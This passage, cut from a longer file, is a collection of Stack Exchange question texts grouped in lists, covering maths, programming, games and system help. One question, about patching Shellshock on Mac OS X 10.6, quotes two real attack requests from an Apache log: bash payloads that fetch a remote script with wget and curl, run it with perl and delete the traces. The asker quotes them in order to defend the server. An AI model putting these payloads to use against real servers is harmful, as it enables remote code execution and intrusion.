C:\\path\\to/Pictures/pmcctv/cap_20160916T161043_774132200.jpg C:\\path\\to/Pictures/pmcctv/cap_20160916T161150_497251900.jpg C:\\path\\to/Pictures/pmcctv/cap_20160916T161154_437379600.jpg C:\\path\\to/Pictures/pmcctv/cap_20160916T161337_350955300.jpg C:\\path\\to/Pictures/pmcctv/cap_20160916T161341_452596000.jpg C:\\path\\to/Pictures/pmcctv/cap_20160916T161412_870774000.jpg C:\\path\\to/Pictures/pmcctv/cap_20160916T161443_969064400.jpg C:\\path\\to/Pictures/pmcctv/cap_20160916T161554_468109900.jpg C:\\path\\to/Pictures/pmcctv/cap_20160916T161558_378086000.jpg C:\\path\\to/Pictures/pmcctv/cap_20160916T161916_668433100.jpg Now if I try to run the same command with -delete, the files are not deleted: find C:\\\\path\\\\to\\\\Pictures\\\\pmcctv -name cap_*.jpg -o -name cap_*.ogg -o -name cap_*.flv -o -name cap_*.mp4 -o -name cap_*.webm -mtime +7 -delete I've also tried with -exec rm, but they are also not deleted: find C:\\\\path\\\\to\\\\Pictures\\\\pmcctv -name cap_*.jpg -o -name cap_*.ogg -o -name cap_*.flv -o -name cap_*.mp4 -o -name cap_*.webm -mtime +7 -exec rm {} \\; find returns no error and the files are owned by me with permissions 644. Any idea what could be causing this? (note: I've cut the commands to make it more readable but normally there's no line break)", "If the Universe is expanding, how is that galaxies run into each other? As the title says. If everything is moving outward, thrown by the Big Bang, how could two Galaxies end up with velocity vectors that run them into each other?", "How do I wrap text with no whitespace inside a ?", "Remove HTML tags from a String", "\"Results found containing ___\" too close to header", "I have a shape (rounded rectangle) in PowerPoint 2007 of which I would like to increase the vertical size only (to illustrate de-bottlenecking). So, the width will stay the same but the height will grow (both from the top and bottom, so the centre will remain in the same location). Custom Animation -> Emphasis only appears to change the whole shape. Is it possible to increase only the vertical size (stretch the shape)? This is during animation of the shape." ]

[ "What should be created first in a video game?", "I'm reading Galois Theory by Steven H. Weintraub (second edition), and finding that I'm at least somewhat short on the prerequisites. However the following proof looks wrong to me - am I misunderstanding something, or is it actually an incorrect proof? Lemma 2.2.3. Let $F$ be a field and $R$ an integral domain that is a finite-dimensional $F$-vector space. Then $R$ is a field. Proof. We need to show that any nonzero $r \\in R$ has an inverse. Consider $\\{1, r, r^2, \\cdots\\}$. This is an infinite set of elements of $R$, and by hypothesis $R$ is finite dimensional as an $F$-vector space, so this set is linearly dependent. Hence $\\sum_{i=0}^n{c_i r^i} = 0$ for some $n$ and some $c_i \\in F$ not all zero. It then goes on to show, given the above, that we can derive an inverse for $r$. However, if I consider examples like $r = 2 \\in Q[\\sqrt{2}]$, $r = \\sqrt{2} \\in Q[\\sqrt{2}]$ or $r = 2 \\in Q[X]/{<X^2>}$, the set $\\{1, r, r^2, ...\\}$ doesn't look linearly dependent to me. I do believe the lemma is true (and might even be able to prove it), but this does not look like a correct proof to me. Am I missing something? [Edit] Well yes, I am. Somehow I had managed to discount the possibility of any $c_i$ being negative, despite repeatedly looking at each fragment of the quoted text in an attempt to find what I might be misunderstanding.", "Is it possible to find all classes or interfaces in a given package? (Quickly looking at e.g. , it would seem like no.)", "Are battery packs allowed in hand luggage?", "I'd like to typeset documents using the '' of page layout. Good examples are on pages 40-53 of . The package is helpful for this, but two additional features would be useful: Automatic flow of text across (arbitrarily placed) columns / textpos blocks. Vertical line spacing enforced to be an integer multiple of a base line spacing, even when interrupted (for example) by an equation of arbitrary height. Any ideas as to how either or both of these could be accomplished?", "I have installed Linux Bash on Windows 10 (available from Microsoft), but I've forgotten my password. I've searched for a solution but I only find suggestions that involve doing something before the system boots, like accessing recovery mode, but that will not work in this case as this Ubuntu is just an application within a Windows system and doesn't have its own boot process. How can I reset my password?", "Why did Terence Tao write Proposition 2.1.11 about mathematical induction in \"Analysis I\"?", "9 pirates have to divide 1000 coins... A band of 9 pirates have just finished their latest conquest - looting, killing and sinking a ship. The loot amounts to 1000 gold coins. Arriving on a deserted island, they now have to split up the loot. You, as the captain of the band, have to propose a distribution plan (who gets what). What's your proposal? Consider that this bunch is a democratic lot. If your proposal is accepted by half of the group, then everybody adheres to it. However, if folks feel you are getting greedy, and less than half of the band agrees to your proposal, then they kill you, and then your First Mate gets to make a proposal. And so it goes in decreasing order of hierarchy/seniority.", "What is the rigor behind U subsitution?", "What is the direction of stack growth in most modern systems? I am preparing some training materials in C and I want my examples to fit the typical stack model. What direction does a C stack grow in Linux, Windows, Mac OSX (PPC and x86), Solaris, and most recent Unixes?", "Below, the of second-order logic is used. My question is about a second-order analogue of $ZFC$ other than the usual \"second-order $ZFC$.\" Rather than define the latter, I'll just state that its (set-sized) models are exactly the $V_\\kappa$s with $\\kappa$ strongly inaccessible (or if you prefer, the uncountable Grothendieck universes). Specifically, I'm interested in the second-order theory consisting of the usual (first-order) axioms of Pairing, Extensionality, Union, Choice, Infinity, and Powerset, and the Separation and Replacement schemes ranging over second-order formulas. I'll call this \"$ZFC_2^{scheme}$.\" Specifically, for each formula $\\varphi(x, y_1,...,y_k)$ of second-order logic with only the displayed variables, each of which is first-order, we have a corresponding Separation and Replacement instance. We do not allow second-order parameters here, so formulas with second-order free variables don't yield Separation/Replacement instances. The passage from $ZFC$ to $ZFC_2^{scheme}$ has a nice uniformity: it's an example of a more general operation $\\mathcal{ZFC}$ which spits out a $ZFC$-analogue given a logic at least as strong as first-order logic. This is the reason for the parameter restriction above: I want $ZFC_2^{scheme}$ to look just like $\\mathcal{ZFC}(\\mathcal{L})$ for any other logic $\\mathcal{L}$, and not take into account the particular feature that we now have a new kind of variable at our disposal - and in particular, take as \"syntax-free\" an approach to logics as we can get away with. (This is a choice of arguable value, but it's the one I'm making for now.) It's easy to show that every model of $ZFC_2^{scheme}$ is well-founded, so to understand its models we only need to look at transitive sets. A natural hope at this point is that $ZFC_2^{scheme}$ is just second-order $ZFC$ in disguise, that is, that for a transitive set $M$ we have $M\\models ZFC_2^{scheme}$ iff $M=V_\\kappa$ for some strongly inaccessible $\\kappa$. However, this isn't at all obvious to me (although it is easy to show the right-to-left direction). Question. What are the (set-sized) models of $ZFC_2^{scheme}$? (Note by contrast that the \"arithmetic analogues\" $PA_2^{scheme}$ and second-order $PA$ are equivalent since each pins down $\\mathbb{N}$ up to isomorphism - although that leads to .) (I'm happy to drop Choice if that would help.) EDIT: As Hanul Jeon pointed out below, shows that consistently $ZFC_2^{scheme}$ (there called \"$ZFC_2^{def}$\") has countable models, so we have a partial answer. However, I don't see at the moment a way to get an outright $ZFC$ proof that $ZFC_2^{scheme}$ is strictly weaker than second-order $ZFC$.", "Finding $\\frac {d(\\tan \\theta)}{d\\theta}$", "How to use PostgreSQL/PostGIS with ArcGIS for Desktop?", "\"Users\" folder shared with everyone Today I found something strange on my newly installed Windows 7 OS - my \"users\" folder C:\\Users was shared and \"Everyone\" had full access... I disabled that and now it seems fine, however I'm a bit scared actually, I'd like to know what caused that and if my system is compromised.", "I need to make Windows 7 STOP disabling the wifi adapter when the wired LAN is connected This is a Dell Latitude E6430. There is a setting in the bios to control this behavior and I have DISABLED it but it still happens. I am also running the latest bios. When I plug in a network cable the wifi adapter becomes disabled. I need it to stay enabled. What else could be making this happen? EDIT: The reason I need to do this is because with NETSH WLAN commands you can create a wifi hotspot by sharing the internet connection on the wired adapter and broadcasting a ssid on the virtual wifi nic. I do this all the time but it's not working on this laptop. I'm wondering if it's a network security thing where I am. I'm going to try from my hotel tonight and report back.", "How to \"freeze\" a cloth animation at X frame? How would one freeze a simulated body at frame X and use it as a static mesh? Following a , I've been able to do a cloth animation to my model, now I'd like to have that made static, without the use of the timeline. The thing is, I'm modelling something that's not going to be an animation, but a static object (something like a statue/figurine). So I don't need the animation, only the shape at a particular frame that I find convenient. I'd like eventually once this is done, to also modify that deformed grid. I've tried to follow what was said , but couldn't figure out what chipmasque was saying. I'm quite new to blender (been using it on and off, just enough to forget everything). I'm using blender 2.63, if it is of any relevance.", "Didn't understand relationship 'AccountContactRelation' in FROM part of query call I'm getting the following error message: System.QueryException: Didn't understand relationship 'AccountContactRelation' in FROM part of query call. If you are attempting to use a custom relationship, be sure to append the '__r' after the custom relationship name. Please reference your WSDL or the describe call for the appropriate names. Select Email, Id, (Select ContactId, AccountId From AccountContactRelation) From Contact In AccountContactRelation object there are two lookup fields for Account and for Contact. Please advise how to avoid such error message?", "How do Prestige Classes that advance spellcasting interact with racial spellcasting ability? For example Lets use the Marrutact from Sandstorm, it can cast as a 5th level wizard. if it then takes a prestige class that requires the ability to cast 1st level Arcane spells and advances arcane casting such as Abjurant Champion. assuming it meets all other prerequisites does the Marrutacts spellcasting improve when it takes a level in Abjurant Champion or does it gain no benefit?", "At the moment I'm working with the . For this I read the following paper: . But I have some mathematical problems with this formalism. I don't really see why this is a variation principle since it is opartor-valued. The action principle is defined by: $\\delta S = G_1 -G_2$, where $S$ is the action operator $S = \\int_{t_1}^{t_2} dt ~L$ and $G$ the generator operators of the transformations. What does it mean that the action principle is operator-valued? For the classical action where $S$ is real we search for a stationary point but for operators? I also have a problem that $\\delta S \\neq 0$. What interpretation has this additional term $G_1 - G_2$?", "Can't update because the word prox* is blocked" ]

[ "For an affine connection $\\nabla$, prove the curvature R $R(X,Y,Z,\\alpha)=\\alpha(\\nabla_X \\nabla_Y Z - \\nabla_Y \\nabla_X Z -\\nabla_{[X,Y]}Z)$ with $X,Y,Z$ vector fields and $\\alpha$ a co-vector, is a tensor. So I realise the aim is probably to show that each of the three terms in the expression for $R$ are tensors themselves as then the result will obviously follow. However, I'm not too sure how to show each of these terms are tensors. Do I need to expand out each covariant derivate to get a bunch of connection coefficients and then see some cancellations? Still though, I'm not too sure what I'll want to see after all of this so that I can say \"…therefore $R$ is a tensor\". Also, very much related to the question, I'm a bit confused with the difference between $\\nabla_Y Z$ $\\space \\space $ and $\\space \\space $ $\\nabla_{\\mu}\\omega$. The second one I know as the covariant derivative of a 1-form, but what is meant by the covariant derivate of a vector $\\textit{field}$? As in, what's the difference between the $\\nabla_Y$ and $\\nabla_{\\mu}$? Edit: In answering this last question, I have realised that $\\nabla_YZ=Y^{\\mu}\\nabla_{\\mu}Z^{\\nu}$ and $\\nabla_{\\mu}\\omega=\\nabla_{\\mu}\\omega_{\\nu}$.", "I get Chrome notifications from several websites and they work when I don't even have any tabs open for those sites. But sometimes I get these Chrome notifications when I am not at my desk or looking at my laptop. As some of these notifications are useful to me, I would like to be able to access any that I have missed. Is there a way to view the notification history?", "Do strong and weak interactions have classical force fields as their limits? Electromagnetic interaction has classical electromagnetism as its classical limit. Is it possible to similarly describe strong and weak interactions classically?", "Mobile notifications unread status independent from full site inbox and achievements", "It is suggested as an exercise in Serge Lang's book \"Algebra\" to show that the commutator subgroup $G^c$ of a group $G$ is a normal subgroup. I'd like to do that but I am afraid I need help, I think the first thing I need to figure out is how a general element in the commutator subgroup looks like, so that I can check that the defining condition for normality is satisfied. That is, supposing for a moment that a general element in $G^c$ is denoted by $g$, I need to show that $aga^{-1} \\in G^c,$ for all $a \\in G$. But here I get stuck, first because I am unsure how to write a general element in $G^c$ - a simple product in $G^c$ is of the form $xyx^{-1}y^{-1}aba^{-1}b^{-1}$ where $a,b \\in G$. I cannot see a way to simplify this - I am sure there is one, but somehow I am blind today. The second thing then is, even if one tries out the conjugation of a simple element like $xyx^{-1}y^{-1}$ in $G^c$, again not simplification offers itself easily I think .. what am I missing ? An alternative would be to find a homomorphism of $G$ whose kernel is precisely $G^c$ - here I tried to think of this as a map $G \\times G \\to G$ but whatever I cook up is not a homomorphism. Thanks for your hints !!", "Continuous function on closed unit ball Take a continuous mapping $f: \\bar{B^{n}} \\rightarrow \\bar{B^{n}}$, where $\\bar{B^{n}}$ is a closed unit ball in $\\mathbb{R}^{n}$. Assume that $f(x) \\neq x$ for every $x \\in \\bar{B^{n}}$. Define another function $r$ by following the directed line segment from $f(x)$ through $x$ to its intersection with $\\partial B^{n}$, and let the intersection point be $r(x)$. Is it immediately evident that $r$ is a continuous function? Is so how does it follow? Thanks.", "Why do rainbows have distinct colors? When I searched on the Internet for the reason of formation of , I got many explanations like one & . All the explanations consider only one spherical water droplet (like ). Why don't the refracted waves coming from the adjacent droplets interfere with each other? For example, why doesn't a red ray coincide with a violet ray coming from another droplet at a suitable position? How are we able to see rainbows with distinct colors? Since there are thousands of raindrops in the sky when it is raining, shouldn't it be a mess due to overlapping of different wavelengths? Please explain.", "Is Cesaro convergence still weaker in measure?", "How to develop intuition for conditional probability?", "Got a working screen via HDMI, but the DVI won't go past 1360x768 (a PackardBell Maestro monitor). Had no issues in Windows 7. I've tried all the xrandr tricks, see the output below: xrandr Screen 0: minimum 8 x 8, current 3280 x 1080, maximum 16384 x 16384 VGA-0 disconnected (normal left inverted right x axis y axis) DVI-D-0 disconnected (normal left inverted right x axis y axis) HDMI-0 connected primary 1920x1080+1360+0 (normal left inverted right x axis y axis) 510mm x 287mm 1920x1080 60.0*+ 59.9 50.0 1680x1050 60.0 1600x900 60.0 1440x900 59.9 1280x1024 75.0 60.0 1280x800 59.8 1280x720 60.0 59.9 50.0 1152x864 75.0 1024x768 75.0 70.1 60.0 800x600 75.0 72.2 60.3 56.2 720x576 50.0 720x480 59.9 640x480 75.0 72.8 59.9 DVI-D-1 connected 1360x768+0+0 (normal left inverted right x axis y axis) 0mm x 0mm 1024x768 60.0 + 1360x768 60.0* 59.8 1152x864 60.0 800x600 72.2 60.3 56.2 680x384 60.0 59.8 640x480 59.9 512x384 60.0 400x300 72.2 320x240 60.1 cvt 1920 1080 # 1920x1080 59.96 Hz (CVT 2.07M9) hsync: 67.16 kHz; pclk: 173.00 MHz Modeline \"1920x1080_60.00\" 173.00 1920 2048 2248 2576 1080 1083 1088 1120 -hsync +vsync xrandr --newmode \"test\" 173.00 1920 2048 2248 2576 1080 1083 1088 1120 -hsync +vsync xrandr --addmode DVI-D-1 test X Error of failed request: BadMatch (invalid parameter attributes) Major opcode of failed request: 140 (RANDR) Minor opcode of failed request: 18 (RRAddOutputMode) Serial number of failed request: 37 Current serial number in output stream: 38 I'm using the latest driver from Nvidia (binary, 352.63) because Nouveau would show a black screen on my second monitor. I got stuck on manually finding/creating a xorg.conf file and adding some monitor hacks, can anyone help me?", "So, say you are a wizard 15/warlock 2. You have the Lance of Lethargy invocation, which pushes an enemy you target with eldritch blast and hit back 10 feet. Say you put a demiplane entrance ~5 feet behind the enemy you target with it. When you hit, you throw the enemy in. Before all this, you had put a Glyph of Warding in there on one of the surfaces. What would be the limit to the trigger for this? Would it be forced to be touch or proximity, or could you base it off something like hostility towards the caster? ... When you cast this spell, you inscribe a glyph that later unleashes a magical effect ... You decide what triggers the glyph when you cast the spell. For glyphs inscribed on a surface, the most typical triggers include touching or standing on the glyph, ... (PHB 245) The key word here is \"typical\". Based on Google's definition, the informal definition of \"typical\" is showing the characteristics expected of or popularly associated with a particular person, situation, or thing. This means, if my assumption is true, that the triggers in the PHB are only the most common ones. Other than the one about being forcibly at maximum 10 feet in diameter in the PHB, I cannot see a limit. Though I probably should assume this would all be DM discretion, (and I know that I sound like a broken record here) but could the trigger be hostility toward the caster, or something else, like being a specific race, gender, from a specific place, etc., or would it be forced to being something from the PHB?", "I have two limit problems which are quite similar, so I've put them both into this post. $((4^{10}+2^{n})^{\\frac{1}{n}})$ $((3n^{2}+n)^{\\frac{1}{n}})$ Attempt: For 1, I'm not sure if this is permissible. I know that $\\lim_{n \\to \\infty}(x^{n}+y^{n})^{\\frac{1}{n}} = \\max\\{x,y\\}$. Obviously $4^{10}$ is a constant so it's not quite in the same form, but I believe it is still okay to use this result, and so the limit is $2$. For 2, I've got $((3n^{2}+n)^{\\frac{1}{n}}) = (n(3n+1)^{\\frac{1}{n}})$, but then I'm not too sure how to proceed. I also thought of taking the log and proceeding that way, however in the notes I'm learning from they haven't covered l'hopital yet, so I'm trying to not use it. Thanks.", "How many $4$ digit even numbers have all $4$ digits distinct ? This question has been asked if we replace even with positive. I was solving this Problem like: For first position $1-9$ (No $0$) for next $0-9$ (leaving out the digit which has been choose) for next $0-9$ (leaving out $2$ digits), but on last digit I get stuck. From what I should choose. Will it be $0, 2, 4, 6, 8$, because number needs to be even? How should I solve it?", "I have added a background image to the world settings. However, it has disappeared from my 3D view and only shows when I view the scene from the camera. Does anyone know if there is something I can do to make it reappear?", "How to convert an instance of std::string to lower case", "Find $x,y$ given $\\gcd(x,y)$ and ${\\rm lcm}(x,y)$ These two exercises I encountered recently seem to develop some type of connection between GCD and LCM I can't quite figure out. Exercise 1: Find all the numbers $x$ and $y$ such that: $a) \\ GCD(x,y)=15, \\ LCM(x,y)=150$ $b) \\ GCD(x,y)=120 \\ LCM(x,y)=1320$ $c) \\ GCD(x,y)=100 \\ LCM(x,y)=990$ Exercise 2: Find all the numbers $m,n$ such that $GCD(m,n)=pq , \\ LCM(m,n)=p^2qs$ where $p,q,s$ are prime The first thing that is known to me is that $GCD(x,y) \\cdot LCM(x,y)= x \\cdot y$ Also $LCM(x,y)$ is at most $x \\cdot y$ while $GCD(x,y)$ is at most $\\max \\{x,y\\}$. Last thing is that $GCD(x,y)|LCM(x,y)$. Using all this I tried to solve the first exercise: $a)$ First two obvious pairs are $x=15, y=150$ and $y=15, x=150$. Now neither of the numbers can be bigger than $150$ or smaller than $15$. So we are looking for numbers in the range $15-150$ that satisfy $x \\cdot y = 15 \\cdot 150$ Another such pair is $(x,y)=(30,75), \\ (x,y)=(75,30)$. Similarly for $b)$ we find that the only possible values are permutations of the set {$120,1320$} and in $c)$ since $100$ does not divide $990$ no such numbers exist. Now exercise 2 is what made me think there is actually another connection I'm not quite aware of since now it's about arbitrary prime numbers and the previous method doesn't work anymore. My intuition is that it has something to do with $GCD$ or $LCM$ of the $GCD(x,y), \\ LCM(x,y)$", "Fell for fake sugar daddy. How do I get out? I fell on hard times and for the first time I attempted to get a sugar daddy. He asked for my bank account login info and reluctantly I gave it to him even though I knew I shouldn't have. Short story, I figured out he's fake and called him out on it after he made a couple of mobile deposits. Every time he made a mobile deposit he would go in there and take a third of the money he deposited. I also noticed he somehow used an old check I deposited and changed it and used it again. I got him to admit he wasn't who he claimed to be and I changed my login info. He claimed he could still see how much money was in my account and sent me a screenshot of how much money was in the account with the amount and "Chase checking" before it. That was the only information in the screenshot. He also threatened to get me in trouble with the law if I didn't send him more money. I changed my login info again just in case but I could really use some advice on what should I do next.", "I know Wonder Woman has died in canon before, but in which issue did this happen?", "Linear functional and a bounded norm I'm trying to work through some example questions for my class but there is no mention of \"Piecewise affine functions\" anywhere and I'm completely stumped on how to do this. Any help would be appreciated please.", "1.I will study hard until I get a high score on this exam. 2.I will study hard until I've gotten a high score on this exam. I think these sentences are grammatically correct. but if I add a specific time, I think these sentences have to be only this one: 3.I will study hard until I get a high score on this exam on July 25th. And how about these? a. I'd like to watch all of the holocaust movies present in the world until I've become an expert on it. b. I'd like to watch all of the holocaust movies present in the world until I become an expert on it. Since there's no a word representing a specific time, both of them are okay, right? And what I'd like to know is the difference between "have gotten" and "get". What I know about them is we can use "future perfect" to refer to unspecific future event that might happen before some accident. but "get" refers to future event that could be either a specific scheduled event or unspecific future event. that's why if I add a specific time mentioning, I have to use "get"." ]

[ "Extending the User model with custom fields in Django", "Proving $ 1+\\frac{1}{4}+\\frac{1}{9}+\\cdots+\\frac{1}{n^2}\\leq 2-\\frac{1}{n}$ for all $n\\geq 2$ by induction", "Evaluate $\\lim_{n\\rightarrow\\infty} \\int_0^1 f(x^n) dx$", "Apple Shellshock patch for 10.6? I am running a small HTTP server (Apache) off my Mac mostly as a hobby. If it becomes compromised it isn't the end of the world but it is something I would certainly like to prevent. I set up a launchctl job to check the Apache log file for possible requests related to Shellshock and last night I received to two related entries: 82.221.128.246 - - [29/Sep/2014:08:14:41 -0400] \"GET / HTTP/1.1\" 200 2081 \"-\" \"() { :;}; /bin/bash -c \\\"wget http://82.221.105.197/bash-count.txt\\\"\" 173.45.100.18 - - [29/Sep/2014:00:52:07 -0400] \"GET /cgi-bin/hi HTTP/1.0\" 404 208 \"-\" \"() { :;}; /bin/bash -c \\\"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\\\"\" The first one looks harmless and the IP hosts a very legitimate looking website claiming that their requests are for research purposes only. The second one is a different story though, it tries to download and run a Perl script. Fortunately I don't have wget installed so this attack didn't work but it seems like it's only a matter of time before I get a request like this that does some damage. Apple just released patches for OS X 10.7 and latter but unfortunately I am running 10.6. What simple and reliable measures can I take (i.e. not ) to reduce my risks?", "The tennis statistics at the end of a set always show the number of winners and unforced errors of the players. But when does a point count as a winner and when as unforced error?", "A method for evaluating sums/discrete functions by assuming they can be made continuous and differentiable?", "Why do some bad traits evolve, and good ones don't?", "I am trying to put two subscripts at the left and right of a character. For example, something like: _{t} p_{x} where p is in the middle. How do you do this?", "Why does default auto.arima stop at (5,2,5)?", "Differences between hash- and encryption algorithms? There is a lot of confusion between hash- and encryption algorithms; I would like to understand: When do we use a hash algorithm and when do we use an encryption algorithm (a cipher)? How difficult it is to reverse hash- and encryption algorithms? From the theoretical/mathematical perspective, what differentiates a hash- and encryption algorithm?", "Riemann integrabilty of an indicator function Consider the following function on $[0,1]$: $$f(x)=\\begin{cases}1&x\\in\\{a_1,a_2,\\dots,a_n\\}\\\\0 &\\text{otherwise}\\end{cases}$$ The $a_i$ are fixed and all in $[0,1]$. Determine whether $f$ is Riemintegrable or not. By the Riemann–Lebesgue criterion $f$ is Riemann integrable. How to prove directly?", "\"Above\"/\"below\" before/after a noun", "What is an example of a transformation on a posterior distribution such that the MAP estimate will be non-invariant? Suppose that we have a posterior distribution $p(\\theta\\mid y)$ and we wish to define a transformation on $\\theta$ such that $\\phi = f(\\theta)$. I know that generally such transformations will not affect the MLE as it is on the data space, but will result in non-invariance on the Maximum A Posteriori (MAP) estimate as it is a function of the parameter space. I am wondering if there is an example to illustrate this? Thanks.", "Boot error > no such device: grub rescue After an installation of Ubuntu 12.04, erasing an old partition with Ubuntu 10.10, I can't get grub to load. I can't access my Windows 7 partition either I get the message: > error: no such device: 58ABF29C... grub rescue> I suppose my master boot record got erased/corrupted. How can I check and fix this?", "Generic constraints, where T : struct and where T : class", "How can I 'join' an array adding to the beginning of the resulting string the first character to join?", "How to change envelope from address using PHP mail?", "I that there are two folders for unit files (not in user mode). /usr/lib/systemd/system/: units provided by installed packages /etc/systemd/system/: units installed by the system administrator Conflicting with this understanding is the answer to this question: . Can someone fill in the missing information so that I understand what is going on? (UPDATE: The answer has been updated, and my understanding no longer conflicts with it.) Also, it seems that the scripts are organized in subfolders within the /etc/systemd/system/ folder: getty.target.wants multi-user.target.wants In another location I read that there are other locations. It seems these are for user-specific services. /usr/lib/systemd/user/ where services provided by installed packages go. /etc/systemd/user/ where system-wide user services are placed by the system administrator. ~/.config/systemd/user/ where the user puts its own services. Update 2015-08-31: For the sake of others, here is a link to a related question I recently asked:", "Proficiency with specific weapons vs 'simple and martial'? In the PHB on pg. 146 it states that there are two weapon categories in which the players can be proficient: simple and martial. As per answer to another question, being proficient in either category makes the players character proficient in using all weapons of the respective category. However in the race descriptions the players are given proficiency for specific weapons. Dwarfs, for example, have the trait Dwarven Combat Training giving proficiency with battleaxes, handaxes, throwing hammers and warhammers. How do the two types of proficiencies interact with each other?", "Average arc length of a uniformly distributed points Suppose I have $N$ points on a unit circle. I am aware that for a uniform distribution the average angle of one point is not defined, but I want to calculate the average arc length between nearest-neighbors. I disregard arc lengths larger than $\\pi$. For $N = 2$ I am formulating the problem as: \\begin{equation} \\langle \\Delta x \\rangle = \\frac 1 {\\pi^2}\\int\\limits_0^\\pi \\int\\limits_0^\\pi dx_1 dx_2 \\, |x_1-x_2| = \\frac \\pi 3. \\end{equation} This answer does not make sense to me. Did I make a mistake constructing this integral? What would happen to $N = 3$, etc?" ]

[ "Let me add or change edit summary during edit window (grace period)", "Finding the unique rock with its weight I have 12 rocks, all have the same weight except for one rock, but I don‘t know which rock is. How do I know which rock is different from other, and also know that rock heavier or lighter, with maximum 3 comparating steps. My only tool is just a balance that can only compare the weight between the rocks.", "TypeError: Element-wise multiplication: not supported between 'Matrix' and 'Vector'", "A question on $p$-groups, and order of its commutator subgroup. $\\textbf{QUESTION-}$ Let $P$ be a p-group with $|P:Z(P)|\\leq p^n$. Show that $|P'| \\leq p^{n(n-1)/2}$. If $P=Z(P)$ it is true. Now let $n > 1$, then If I see $P$ as a nilpotent group and construct its upper central series, it will end , so let it be, $e=Z_0<Z_1<Z_2<......<Z_r=P$ Now as $Z_{i+1}/Z_i=Z(P/Z_i)$, so if if I take some $x\\in Z_2$\\ $Z_1$ then $N$={$[x,y]|y\\in P$} $\\leq Z_1(P)$ and $N \\triangleleft P $, so $P/N$ is a group with order $\\leq p^{n-1}$. Now if I let $H=P/N$ then obviously |$H/Z(H)$|$\\leq p^{n-1}$. Now $H'\\cong P'N/N \\cong P'/(P' \\cap N)$ so from here I could finally bring $P'$ atleast into the picture, now |$P'$|=$|H'|.|P'\\cap N|$ so $|P'|\\leq |H'||N|$. This is where I am $\\textbf{STUCK}$ Now , from here how can I calculate or find some power $p$ bounds on $|H'|$ and $|N|$ so i could get my result.", "Who should I be damage buffing as Mercy I just started playing Overwatch (played a few games during open beta, but wasn't able to play much). I'm enjoying Mercy, but who (in a group situation) should be getting the damage buff? Additionally, when my team splits up, who should I follow to support?", "How does \"Reputation\" work? On Stack Exchange, users may gain a certain level of reputation. What does reputation do? How can a user gain or lose reputation? See also in the Help Center - Maximum amount of votes a user can use in a day and reputation requirements to vote. - How to get an exact overview of the actions that got you your reputation. - A full list of all privileges granted at each reputation level on all sites.", "Suppose an entire function $f$ is real if and only if $z$ is real. Prove that $f$ has at most $1$ zero. Let $f$ be an entire function. Suppose $f(z)$ is real if and only if $z$ is real. Prove that $f$ has at most $1$ zero. How to prove? Totally I have no idea... Please give the solution in detail since I do not understand.", "Quicksort vs heapsort", "Why can't I cd to a quoted tilde ('~')? Writing my first script so I'm sure this is a basic question, but can someone please explain to me why I can: cd ~ cd bin cd ~/bin cd 'bin' But not cd '~' cd '~/bin' I need to cd to a directory path with a space in one of the directory names, so I need the quotes (it's Windows Program Files under wine). I can get around it with two cd commands, but why can't I put ~ in quotes? If I type cd '~' (or cd \"~\") I get: bash: cd: ~: No such file or directory", "Initial note: Having read , the answers there do not help in this specific situation, as they rely on having lots space to spare - I have very little. When I started my city, I designed a simple exit from the default highway that I thought was sustainable: I left enough space around it to upgrade the road as I needed to, which has worked up until now. However, I am now stuck with a six-lane one-way exit from the highway that isn't getting used: since cars seem to pick the most efficient lane to get where they want to go, regardless of traffic, the rightmost lane fills up, then spills over onto the highway. This blocks the highway, my bus routes, and more importantly my planned emergency routes. My setup looks like this: The red arrows show road direction, and the orange line is the traffic backed up. Note that in this image, I have replaced the six-lane one-way exit with a highway exit, as this is just about as efficient... This situation is getting to be pretty bad, and is bringing half my city to a standstill. Its effects compound themselves further down the highway: In this image, the orange line is the traffic directly caused by this exit not working. This traffic jam then blocks two exits/entrances further down, on the red crosses; the yellow line shows the traffic jam caused by these being blocked. In other words, my inefficient exit design is now blocking itself from moving. So this is a two part problem. Considering that I'm constructing a residential district in the space above left of the problem exit, and would like to keep the solution inside the power line, how can I redesign this exit to be more efficient? How do I solve the ring of traffic jams? Is it a simple case of just deleting and replacing a bit of road?", "Prove a function is constant under certain conditions Let $f: \\mathbb{R} \\rightarrow \\mathbb{R}$ be smooth and such that for every $x$ $$\\int_{-\\infty}^{\\infty}\\frac{|f(x)-f(y)|}{|x-y|^2}dy < \\infty$$ Prove that $f$ is constant.", "In Oblivion, I had two favorite money-makers: Dump all my stuff except some basic armor and potions, and raid an oblivion tower. The armor and weapons was worth lots, and selling it in Anvil made a lot of cash fast. Harvest an entire farm's worth of crops, create 'restore fatigue' potions and sell them. Skyrim seems to spoil this: Merchants have a max-amount per day/QOD/... instead of per item You can't carry as much (or maybe I have yet to discover the strength/feather spells) Alchemy is a lot harder (most common items go into food recipes now, which don't sell for those prices) On top of that, once a dungeon is cleared, it doesn't respawn - so no 'farming' familiar dungeons? What are some easy/repeatable money making methods in Skyrim? Which are most efficient effortwise/real-life-time wise?", "Is it possible to scale specific apps on Windows 10?", "Just read this which basically says you can freeze and thaw food in the fridge any number of times. I'm still unclear on one point. If I had food which would be good in the fridge for 4 days and i put it in the freezer after 3 days, when I put it back in the fridge is my food good after its thawed for another 4 days or 1 more day?", "How can I find out which process is locking a file or folder in Windows? For instance, when trying to delete a folder, Windows reports this: The action can't be completed because the folder is open in another program Happens the same with a file, but how do I find out what program or application is currently using it and preventing me from deleting the file or folder?", "Remove Meta Privilege for MSE (only)", "What is a more efficient way to draw this tree? I have drawn the following tree in TikZ. What I don't like about it is that I have to manually adjust the sibling distance for each level; and the syntax is too cumbersome. It has been suggested to me by @percusse and @AlanMunn that using tikz-qtree and/or forest may be a more efficient way to produce the same result. But I don't have experience in using either package. It would be nice if someone can reproduce my example using either of these packages, so that I can have quick example to learn from instead of reading a 150-page manual trying to find an answer. \\documentclass{standalone} \\usepackage{tikz} \\usepackage{amsmath} \\begin{document} \\tikzset{ % Two node styles for game trees: solid and hollow solid node/.style={circle,draw,inner sep=1.2,fill=black}, hollow node/.style={circle,draw,inner sep=1.2}, } % macro for entering payoffs \\newcommand\\payoff[1]{ $\\begin{pmatrix} #1 \\end{pmatrix}$ } \\begin{tikzpicture}[font=\\footnotesize] \\tikzset{ level 1/.style={level distance=15mm,sibling distance=65mm}, level 2/.style={level distance=15mm,sibling distance=30mm}, level 3/.style={level distance=15mm,sibling distance=15mm}, level 4/.style={level distance=15mm,sibling distance=10mm}, } \\node[hollow node,label=above:{Nature}]{} 